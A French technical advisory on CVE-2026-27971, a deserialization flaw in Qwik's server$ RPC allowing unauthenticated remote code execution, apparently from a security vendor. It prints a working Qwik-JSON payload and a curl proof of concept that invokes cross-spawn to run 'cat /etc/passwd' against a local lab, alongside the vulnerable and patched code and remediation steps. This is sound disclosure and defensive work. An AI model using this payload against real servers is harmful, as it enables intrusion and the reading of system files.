CVE-2026-27971 : exécution de code à distance non authentifiée dans Qwik server$
Analyse technique de CVE-2026-27971, une vulnérabilité critique d'exécution de code à distance non authentifiée (CVSS 9.2) dans Qwik (< 1.19.1). La désérialisation non sécurisée dans le flux RPC de server$ permet de reconstruire des objets QRL contrôlés par l'attaquant à partir de requêtes application/qwik-json, ce qui autorise la résolution d'un chemin de module et d'un symbole arbitraires et, lorsque require() est disponible, l'exécution de code à distance via l'invocation d'une fonction côté serveur forgée.
CVE-2026-27971
RCE non authentifiée dans Qwik server$ via une désérialisation non sécurisée
12 mars 2026 · CVSS 9.2 Critique · Qwik < 1.19.1
| ID CVE | CVSS | Versions affectées | Corrigé |
|---|---|---|---|
| CVE-2026-27971 | 9.2 Critique | < 1.19.1 | 1.19.1+ |
CVE-2026-27971 en bref : RCE via la désérialisation du RPC server$
Le mécanisme RPC server$ de Qwik accepte des requêtes application/qwik-json et désérialise des objets contrôlés par l'attaquant en valeurs d'exécution actives. Dans les versions vulnérables, ce chemin de désérialisation peut reconstruire un QRL pointant vers un chemin de module et un nom de symbole arbitraires. Si l'environnement d'exécution côté serveur dispose encore de require() natif, le chemin d'import serveur du framework peut être détourné pour charger des modules CommonJS choisis par l'attaquant et invoquer les fonctions exportées avec des arguments qu'il contrôle.
Le problème touche les déploiements où le flux server$ côté serveur vulnérable est accessible et où require() est disponible à l'exécution. Il est corrigé dans Qwik 1.19.1, dont le chemin d'import serveur n'effectue plus d'imports dynamiques paresseux pour les QRL non fiables.
Concrètement, un attaquant distant non authentifié peut envoyer une requête POST forgée vers :
POST /?qfunc=sync
Content-Type: application/qwik-json
X-QRL: sync
et forcer le serveur à résoudre :
./node_modules/cross-spawn/index#sync
Le corps de la requête devient ainsi un appel de fonction à distance vers cross-spawn.sync(...).
CVE-2026-27971 et la résolution non sécurisée de server$ : de Qwik JSON à require()
Le comportement vulnérable se comprend plus facilement comme une chaîne en trois étapes :
1. Le corps de la requête est analysé par `_deserializeData()` de Qwik
2. Un objet QRL désérialisé est traité comme une cible `server$` légitime
3. Le chemin d'import serveur résout via `require()` le chunk contrôlé par l'attaquant
La porte d'entrée de la requête
La porte d'entrée côté serveur est simple. Si le paramètre de requête qfunc, l'en-tête X-QRL et l'en-tête Content-Type concordent, la requête est traitée comme une invocation server$ :
if (
fn &&
req.headers['x-qrl'] === fn &&
req.headers['content-type'] === 'application/qwik-json'
) {
const data = _deserializeData(body);
if (Array.isArray(data)) {
const [qrl, ...args] = data;
if (qrl && typeof qrl.getSymbol === 'function' && qrl.getHash() === fn) {
const resolvedFn = await importSymbol(qrl.$chunk$, qrl.$symbol$);
const result = await resolvedFn.apply(null, args);
}
}
}
Il ne s'agit pas d'une API JSON classique. L'attaquant n'envoie pas de simples noms de fonctions et des arguments. Il envoie le graphe d'objets sérialisé de Qwik, qui reconstruit un objet QRL actif pendant la désérialisation.
Pourquoi le payload fonctionne
Le payload malveillant principal utilisé dans le lab est le suivant :
{"_objs":["\u0002./node_modules/cross-spawn/index#sync","id",[],["0","1","2"]],"_entry":"3"}
Après _deserializeData(), il devient :
[
qrl("./node_modules/cross-spawn/index", "sync"),
"id",
[]
]
L'environnement d'exécution finit donc par appeler :
crossSpawn.sync("id", []);
Le chemin d'import dangereux
La résolution côté serveur vulnérable peut se résumer à ceci :
async function importSymbol(url, symbolName) {
let modulePath = String(url);
if (!modulePath.endsWith('.js')) {
modulePath += '.js';
}
const mod = require(modulePath);
return mod[symbolName];
}
Le problème est que url et symbolName proviennent d'une entrée sérialisée contrôlée par l'attaquant. Une fois le QRL reconstruit par la désérialisation, l'attaquant contrôle à la fois le chemin du module et l'export à invoquer.
CVE-2026-27971 et la preuve de concept : obtenir une exécution de code à distance
Pour valider le problème en toute sécurité, un lab Docker local a été construit avec la configuration suivante : qwik-vuln sur 127.0.0.1:3000 avec @builder.io/qwik@1.19.0
Configuration du test
- docker-compose.yaml
services:
qwik-vuln:
build:
context: ./vulnerable
ports:
- "127.0.0.1:3000:3000"
Exploitation
La commande curl suivante permet d'obtenir une exécution de code à distance en envoyant manuellement le payload Qwik-JSON sérialisé au point de terminaison vulnérable
curl -v -X POST "http://127.0.0.1:3000/?qfunc=sync" \
-H "Content-Type: application/qwik-json" \
-H "X-QRL: sync" \
-d '{"_objs":["\u0002./node_modules/cross-spawn/index#sync","cat","/etc/passwd",["2"],["0","1","3"]],"_entry":"4"}'
Résultat
Le conteneur vulnérable a renvoyé :

Cela confirme l'exécution à distance de cat /etc/passwd via la chaîne d'appels server$ désérialisée.
CVE-2026-27971 : template de validation Nuclei
Pour la validation locale, un template Nuclei basé sur id a été créé :

Validation de la cible vulnérable : le lab vulnérable remplit les conditions attendues :
- HTTP 200
- application/qwik-json dans les en-têtes de la réponse
- Sortie de commande correspondant à uid=,gid=
CVE-2026-27971 : le correctif dans Qwik 1.19.1
Le comportement corrigé supprime le chemin d'import dynamique dangereux de l'environnement d'exécution serveur. Au lieu de résoudre des chunks arbitraires via require(), la routine d'import côté serveur échoue de manière sûre :
async function importSymbol(_url, symbolName) {
const regSym = global.__qwik_reg_symbols?.get(getSymbolHash(symbolName));
if (regSym) {
return regSym;
}
throw new Error(`Dynamic import failed for symbol '${symbolName}'`);
}
C'est le changement de sécurité essentiel. Le QRL désérialisé peut toujours exister en tant que donnée, mais il ne provoque plus le chargement de modules arbitraires sur le serveur.
Validation du contrôle corrigé
Le même template nuclei appliqué à la cible corrigée :

a renvoyé :
HTTP/1.1 500 Internal Server Error
Content-Type: text/plain
Invalid request
Remédiation immédiate
- Mettre à niveau Qwik vers 1.19.1 ou une version ultérieure
- Éviter d'exposer des chemins RPC server$ vulnérables sur des environnements d'exécution où require() natif est disponible
- Vérifier si des adaptateurs côté serveur ou des wrappers CJS personnalisés réintroduisent une résolution dynamique des modules
Références
| Ressource | Lien |
|---|---|
| Bulletin de sécurité GitHub GHSA-p9x5-jp3h-96mm | https://github.com/advisories/GHSA-p9x5-jp3h-96mm |
| Template Nuclei | https://github.com/Ostorlab/KEV/blob/main/nuclei/CVE-2026-27971.yaml |
| NVD | https://nvd.nist.gov/vuln/detail/CVE-2026-27971 |